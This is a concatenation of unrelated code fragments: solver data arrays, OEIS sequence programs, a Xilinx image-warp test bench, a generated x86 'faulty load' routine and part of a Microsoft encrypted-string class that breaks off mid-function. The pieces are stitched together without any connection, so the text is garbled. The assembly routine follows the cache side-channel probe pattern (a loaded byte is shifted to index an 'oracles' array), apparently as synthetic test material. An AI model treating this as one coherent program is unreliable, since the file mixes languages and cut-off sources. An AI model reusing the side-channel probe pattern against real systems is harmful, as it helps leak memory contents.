-1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.3000000000000000e+01, -8.9000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -8.9000000000000000e+01, -8.5000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.1000000000000000e+01, -8.8000000000000000e+01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.3000000000000000e+01, -8.9000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -8.9000000000000000e+01, -8.5000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.1000000000000000e+01, -8.8000000000000000e+01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.3000000000000000e+01, -8.9000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -8.9000000000000000e+01, -8.5000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.1000000000000000e+01, -8.8000000000000000e+01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, -1.0000000000000000e+00, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.3000000000000000e+01, -8.9000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -8.9000000000000000e+01, -8.5000000000000000e+01, 1.0000000000000000e+00, -1.0000000000000000e+00, -4.7000000000000000e+01, -8.6999999999999993e+00, -9.0000000000000000e+01, -5.0000000000000000e+01, -1.0000000000000000e+01, -1.0000000000000000e+01, -9.1000000000000000e+01, -8.8000000000000000e+01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 5.0000000000000000e-01, -1.0000000000000000e+00, 1.0000000000000000e+00, 5.0000000000000000e-01}; real_t g[] = {+0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, -2e+00, -2e+00, -2e+00, -2e+00, -2e+00, -2e+00, -2e+00, -2e+00, +0e+00, -2e+00, +0e+00, +2e-03, +2e-03, +2e-03, +2e-03, +2e-03, +2e-03, +1e-03, +2e-03, +2e-03, +2e-03, +0e+00, -2e-03, -2e-03, -2e-03, -2e-03, -2e-03, -2e-03, -1e-03, -2e-03, -2e-03, -2e-03, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +2e-03, +2e-03, +2e-03, +2e-03, +2e-03, +2e-03, +1e-03, +2e-03, +2e-03, +2e-03, +0e+00, -2e-03, -2e-03, -2e-03, -2e-03, -2e-03, -2e-03, -1e-03, -2e-03, -2e-03, -2e-03, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +2e-03, +2e-03, +2e-03, +2e-03, +2e-03, +2e-03, +1e-03, +2e-03, +2e-03, +2e-03, +0e+00, -2e-03, -2e-03, -2e-03, -2e-03, -2e-03, -2e-03, -1e-03, -2e-03, -2e-03, -2e-03, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +1e-01, +1e-01, +1e-01, +1e-01, +1e-01, +1e-01, +1e-01, +1e-01, +1e-01, +1e-01, +0e+00, -1e-01, -1e-01, -1e-01, -1e-01, -1e-01, -1e-01, -1e-01, -1e-01, -1e-01, -1e-01, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00, +0e+00}; real_t lb[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -Inf, 0, -Inf, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 5, 10, 5, 0, 10, 0, 2, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 5, 10, 5, 0, 10, 0, 5, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 5, 10, 5, 0, 10, 0, 5, 0, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; real_t ub[] = {Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, 0, 92, 39, 87, 29, 0, 20, 0, 28, 20, 71, Inf, 130, 45, 53, 55, 75, 112, 0, 73, 480, 154, 121, 50, 30, 77, 20, 0, 18, 0, 5, 20, 71, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, 130, 55, 93, 60, 75, 115, 0, 67, 480, 154, 121, 50, 20, 37, 15, 0, 15, 0, 8, 20, 71, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, 130, 55, 93, 60, 75, 105, 0, 67, 4980, 154, 110, 50, 20, 37, 15, 0, 25, 0, 8, 20, 71, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, 20, 20, 20, 20, 0, 20, 0, 20, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf}; real_t lbA[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -Inf, -Inf, -Inf, -Inf, -Inf, -Inf, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; real_t ubA[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf, Inf}; long H_nnz = (long) sizeof(H_val) / (long) sizeof(real_t); long A_nnz = (long) sizeof(A_val) / (long) sizeof(real_t);
; A108210: Let M[n] be the 2 X 2 matrix {{0, -3}, {(n - 1), 5*(n - 1)}} and let v[1] = {0, 1}', v[n] = M[n]*v[n - 1]'. Then a[n] is the first entry of v[n]. ; Submitted by Christian Krause ; 0,3,15,132,1845,35316,855225,25021062,857777445,33710592312,1493816663025,73679515381890,4003077396124125,237532181213699460,15283471760441624025,1059866671619938304430,78802244142275499751125 lpb $0 sub $0,1 mov $1,$3 mul $1,2 add $2,$3 add $3,$1 mul $1,$0 add $2,$1 add $4,$0 add $4,1 mul $3,$4 add $3,1 add $3,$2 mov $4,0 lpe mov $0,$3 mul $0,3
/* * Copyright 2019 Xilinx, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "common/xf_headers.hpp" #include "xf_warp_transform_config.h" // Changing transformation matrix dimensions with transform Affine 2x3, Perspecitve 3x3 #if TRANSFORM_TYPE == 1 #define TRMAT_DIM2 3 #define TRMAT_DIM1 3 #else #define TRMAT_DIM2 3 #define TRMAT_DIM1 2 #endif // Random Number generator limits #define M_NUMI1 1 #define M_NUMI2 20 // Image operations and transformation matrix input format typedef float image_oper; int main(int argc, char* argv[]) { if (argc != 2) { std::cout << "Usage: <EXE File> <INPUT IMAGE PATH 1>" << std::endl; return EXIT_FAILURE; } cv::RNG rng; float R[9]; cv::Mat _transformation_matrix(TRMAT_DIM1, TRMAT_DIM2, CV_32FC1); cv::Mat _transformation_matrix_2(TRMAT_DIM1, TRMAT_DIM2, CV_32FC1); #if TRANSFORM_TYPE == 1 cv::Point2f src_p[4]; cv::Point2f dst_p[4]; src_p[0] = cv::Point2f(0.0f, 0.0f); src_p[1] = cv::Point2f(WIDTH - 1, 0.0f); src_p[2] = cv::Point2f(WIDTH - 1, HEIGHT - 1); src_p[3] = cv::Point2f(0.0f, HEIGHT - 1); // to points dst_p[0] = cv::Point2f(rng.uniform(int(M_NUMI1), int(M_NUMI2)), rng.uniform(int(M_NUMI1), int(M_NUMI2))); dst_p[1] = cv::Point2f(WIDTH - rng.uniform(int(M_NUMI1), int(M_NUMI2)), rng.uniform(int(M_NUMI1), int(M_NUMI2))); dst_p[2] = cv::Point2f(WIDTH - rng.uniform(int(M_NUMI1), int(M_NUMI2)), HEIGHT - rng.uniform(int(M_NUMI1), int(M_NUMI2))); dst_p[3] = cv::Point2f(rng.uniform(int(M_NUMI1), int(M_NUMI2)), HEIGHT - rng.uniform(int(M_NUMI1), int(M_NUMI2))); _transformation_matrix = cv::getPerspectiveTransform(dst_p, src_p); cv::Mat transform_mat = _transformation_matrix; #else cv::Point2f src_p[3]; cv::Point2f dst_p[3]; src_p[0] = cv::Point2f(0.0f, 0.0f); src_p[1] = cv::Point2f(WIDTH - 1, 0.0f); src_p[2] = cv::Point2f(0.0f, HEIGHT - 1); // to points dst_p[0] = cv::Point2f(rng.uniform(int(M_NUMI1), int(M_NUMI2)), rng.uniform(int(M_NUMI1), int(M_NUMI2))); dst_p[1] = cv::Point2f(WIDTH - rng.uniform(int(M_NUMI1), int(M_NUMI2)), rng.uniform(int(M_NUMI1), int(M_NUMI2))); dst_p[2] = cv::Point2f(rng.uniform(int(M_NUMI1), int(M_NUMI2)), HEIGHT - rng.uniform(int(M_NUMI1), int(M_NUMI2))); _transformation_matrix = cv::getAffineTransform(dst_p, src_p); cv::Mat transform_mat = _transformation_matrix; #endif int i = 0, j = 0; std::cout << "INFO: Transformation Matrix is:"; for (i = 0; i < 3; i++) { for (j = 0; j < 3; j++) { #if TRANSFORM_TYPE == 1 R[i * 3 + j] = image_oper(transform_mat.at<double>(i, j)); _transformation_matrix_2.at<image_oper>(i, j) = image_oper(transform_mat.at<double>(i, j)); #else if (i == 2) { R[i * 3 + j] = 0; } else { R[i * 3 + j] = image_oper(transform_mat.at<double>(i, j)); _transformation_matrix_2.at<image_oper>(i, j) = image_oper(transform_mat.at<double>(i, j)); } #endif std::cout << R[i * 3 + j] << " "; } std::cout << "\n"; } cv::Mat image_input, image_output, diff_img; // Reading in the image: #if GRAY image_input = cv::imread(argv[1], 0); #else image_input = cv::imread(argv[1], 1); #endif if (!image_input.data) { std::cout << "ERROR: Cannot open image " << argv[1] << std::endl; return EXIT_FAILURE; } // Allocate memory for the output images: image_output.create(image_input.rows, image_input.cols, image_input.type()); diff_img.create(image_input.rows, image_input.cols, image_input.type()); // Call the top function warp_transform_accel((ap_uint<PTR_WIDTH>*)image_input.data, R, (ap_uint<PTR_WIDTH>*)image_output.data, image_input.rows, image_input.cols); cv::imwrite("output.png", image_output); // OpenCV reference: cv::Mat opencv_image; #if GRAY opencv_image.create(image_input.rows, image_input.cols, CV_8UC1); #else opencv_image.create(image_input.rows, image_input.cols, CV_8UC3); #endif for (int I1 = 0; I1 < opencv_image.rows; I1++) { for (int J1 = 0; J1 < opencv_image.cols; J1++) { #if GRAY opencv_image.at<ap_uint8_t>(I1, J1) = 0; #else opencv_image.at<cv::Vec3b>(I1, J1) = 0; #endif } } #if TRANSFORM_TYPE == 1 #if INTERPOLATION == 1 cv::warpPerspective(image_input, opencv_image, _transformation_matrix_2, cv::Size(image_input.cols, image_input.rows), cv::INTER_LINEAR + cv::WARP_INVERSE_MAP, cv::BORDER_TRANSPARENT, 80); #else cv::warpPerspective(image_input, opencv_image, _transformation_matrix_2, cv::Size(image_input.cols, image_input.rows), cv::INTER_NEAREST + cv::WARP_INVERSE_MAP, cv::BORDER_TRANSPARENT, 80); #endif #else #if INTERPOLATION == 1 cv::warpAffine(image_input, opencv_image, _transformation_matrix_2, cv::Size(image_input.cols, image_input.rows), cv::INTER_LINEAR + cv::WARP_INVERSE_MAP, cv::BORDER_TRANSPARENT, 80); #else cv::warpAffine(image_input, opencv_image, _transformation_matrix_2, cv::Size(image_input.cols, image_input.rows), cv::INTER_NEAREST + cv::WARP_INVERSE_MAP, cv::BORDER_TRANSPARENT, 80); #endif #endif cv::imwrite("opencv_output.png", opencv_image); float err_per; cv::absdiff(image_output, opencv_image, diff_img); xf::cv::analyzeDiff(diff_img, 0, err_per); }
; A161827: Complement of A006446. ; 5,7,10,11,13,14,17,18,19,21,22,23,26,27,28,29,31,32,33,34,37,38,39,40,41,43,44,45,46,47,50,51,52,53,54,55,57,58,59,60,61,62,65,66,67,68,69,70,71,73,74,75,76,77,78,79,82,83,84,85,86,87,88,89,91,92,93,94,95,96,97,98 seq $0,37 ; Numbers that are not squares (or, the nonsquares). seq $0,183866 ; n+floor(2*sqrt(n-1)); complement of A035106.
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi // Load lea addresses_WT+0xaee4, %rdi nop nop xor $42121, %rax mov (%rdi), %r15 nop nop nop add %rdi, %rdi // Store lea addresses_A+0x1a9c8, %rax dec %r13 movl $0x51525354, (%rax) nop nop nop nop sub %rcx, %rcx // Store lea addresses_D+0x10f3c, %rcx nop nop nop and %r9, %r9 mov $0x5152535455565758, %r15 movq %r15, %xmm2 movups %xmm2, (%rcx) nop nop and %rcx, %rcx // Store lea addresses_normal+0x1e08c, %r9 add %rax, %rax movw $0x5152, (%r9) nop nop nop nop cmp $28389, %rcx // Faulty Load lea addresses_D+0x10824, %rax and %rdi, %rdi movb (%rax), %r15b lea oracles, %r13 and $0xff, %r15 shlq $12, %r15 mov (%r13,%r15,1), %r15 pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
// Copyright (c) 2002 Microsoft Corporation // // Encrypted string class // // 18 March 2002 #include <headers.hxx> #include <strsafe.h> static const size_t CRYPTPROTECTMEMORY_BLOCK_SIZE_IN_CHARS = CRYPTPROTECTMEMORY_BLOCK_SIZE / sizeof WCHAR; static WCHAR EMPTY_STRING[CRYPTPROTECTMEMORY_BLOCK_SIZE_IN_CHARS] = {0}; EncryptedString::EncryptedString() : clearTextLength(0), cleartextCopyCount(0), cypherText(EMPTY_STRING), isEncrypted(false) { ASSERT(cypherText); // make sure that our assumption about the block size being a multiple // of of sizeof WCHAR still holds. I wonder how I could formulate this // as a compile-time check? ASSERT(CRYPTPROTECTMEMORY_BLOCK_SIZE % sizeof WCHAR == 0); } // rounds x up to the next multiple of factor. size_t roundup(size_t x, size_t factor) { ASSERT(x); return ((x + factor - 1) / factor) * factor; } // Allocates and zero-inits a buffer. The length is the next multiple of // the crypto block size larger than charLength characters. // // caller must free the result with delete[] // // charLength - the length, in characters of the buffer that will be copied // into the buffer to be allocated. // // resultCharCount - the count of the characters actually allocated. WCHAR* CreateRoundedBuffer(size_t charLength, size_t& resultCharCount) { resultCharCount = roundup( charLength + 1, CRYPTPROTECTMEMORY_BLOCK_SIZE_IN_CHARS); ASSERT( ((resultCharCount * sizeof WCHAR) % CRYPTPROTECTMEMORY_BLOCK_SIZE) == 0); WCHAR* result = new WCHAR[resultCharCount]; ::ZeroMemory(result, resultCharCount * sizeof WCHAR); return result; } // causes this to become a copy of the given instance. void EncryptedString::Clone(const EncryptedString& rhs) { do { if (rhs.cypherText == EMPTY_STRING) { cypherText = EMPTY_STRING; clearTextLength = 0; isEncrypted = false; break; } if (!rhs.isEncrypted) { Init(rhs.cypherText); break; } size_t bufSizeInChars = 0; cypherText = CreateRoundedBuffer(rhs.clearTextLength, bufSizeInChars); ::CopyMemory( cypherText, rhs.cypherText, bufSizeInChars * sizeof WCHAR); clearTextLength = rhs.clearTextLength; isEncrypted = rhs.isEncrypted; ASSERT(isEncrypted); } while (0); ASSERT(cypherText); } EncryptedString::EncryptedString(const EncryptedString& rhs) : // although the rhs instance may have outstanding copies, we don't. cleartextCopyCount(0) { Clone(rhs); } const EncryptedString& EncryptedString::operator= (const EncryptedString& rhs) { // don't reset the instance unless you have destroyed all the cleartext // copies. We assert this before checking for a=a, because the caller // still has a logic error even if the result is "harmless" ASSERT(cleartextCopyCount == 0); // handle the a = a case. if (this == &rhs) { return *this; } Reset(); Clone(rhs); return *this; } // cause this to assume the empty state. void EncryptedString::Reset() { // don't reset the instance unless you have destroyed all the cleartext // copies. ASSERT(cleartextCopyCount == 0); if (cypherText != EMPTY_STRING) { delete[] cypherText; } cypherText = EMPTY_STRING; clearTextLength = 0; isEncrypted = false; } // builds the internal encrypted representation from the cleartext. // // clearText - in, un-encoded text to be encoded. May be empty string, but // not a null pointer. void EncryptedString::Init(const WCHAR* clearText) { ASSERT(clearText); // don't reset the instance unless you have destroyed all the cleartext // copies. ASSERT(cleartextCopyCount == 0); Reset(); do { if (clearText == EMPTY_STRING) { // nothing to do ASSERT(cypherText == EMPTY_STRING); break; } if (!clearText) { // nothing to do ASSERT(cypherText == EMPTY_STRING); break; } // make a copy of the clear text, and then encrypt it. cypherText = 0; clearTextLength = 0; HRESULT hr = StringCchLength( clearText, // max allowed, including null terminator (so +1) MAX_CHARACTER_COUNT + 1, 